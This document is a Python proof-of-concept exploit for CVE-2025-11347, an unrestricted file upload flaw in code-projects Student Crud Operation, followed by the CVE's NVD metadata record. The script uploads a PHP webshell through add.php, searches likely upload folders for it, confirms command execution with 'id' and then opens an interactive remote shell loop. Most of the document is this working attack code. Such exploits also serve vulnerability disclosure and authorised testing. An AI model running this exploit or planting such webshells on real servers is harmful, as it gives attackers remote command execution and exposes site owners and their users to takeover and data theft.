CVE-2025-11347

# CVE-2025-11347 PoC - Student Crud Operation Unrestricted File Upload # Exploit for code-projects Student Crud Operation <= v3.3 import requests TARGET_URL = "http://target.com/add.php" # Replace with actual target SHELL_FILENAME = "shell.php" SHELL_CONTENT = "<?php system($_GET['cmd']); ?>" def exploit(target_url, filename, content): """ Exploit unrestricted file upload vulnerability in add.php Uploads a PHP webshell to achieve Remote Code Execution """ # Prepare the malicious PHP webshell file files = { 'file': (filename, content, 'application/x-php') } # Send the upload request to the vulnerable endpoint # The 'file' field name may vary depending on the actual form implementation response = requests.post(target_url, files=files) if response.status_code == 200: print(f"[+] File uploaded successfully!") # Common upload directory patterns upload_paths = [ f"/uploads/{filename}", f"/images/{filename}", f"/student_images/{filename}", f"/{filename}" ] for path in upload_paths: shell_url = target_url.rsplit('/', 1)[0] + path # Test if webshell is accessible test = requests.get(f"{shell_url}?cmd=id") if 'uid=' in test.text: print(f"[+] Webshell accessible at: {shell_url}") print(f"[+] Command execution confirmed: {test.text.strip()}") return shell_url print("[-] Exploit failed") return None if __name__ == "__main__": shell_url = exploit(TARGET_URL, SHELL_FILENAME, SHELL_CONTENT) if shell_url: # Interactive shell while True: cmd = input("shell> ") if cmd.lower() in ['exit', 'quit']: break result = requests.get(f"{shell_url}?cmd={cmd}") print(result.text)

{"cve": {"id": "CVE-2025-11347", "sourceIdentifier": "[email protected]", "published": "2025-10-07T03:15:33.600", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in code-projects Student Crud Operation up to 3.3. This vulnerability affects the function move_uploaded_file of the file add.php of the component Add Student Page/Edit Student Page. Performing manipulation results in unrestricted upload. The attack can be initiated remotely. The exploit has been made public and could be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-434"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:code-projects:crud_operation_system:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.3", "matchCriteriaId": "673FBF47-A55C-4129-9A75-9BBFC1630665"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/romatdibrohiksnov/vulndb.com/tree/main/Student-Registration-Crud-Operation%20Unauthenticated%20Arbitrary%20File%20Upload%20leads%20to%20Remote%20Code%20Execution", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.327232", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327232", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.664897", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}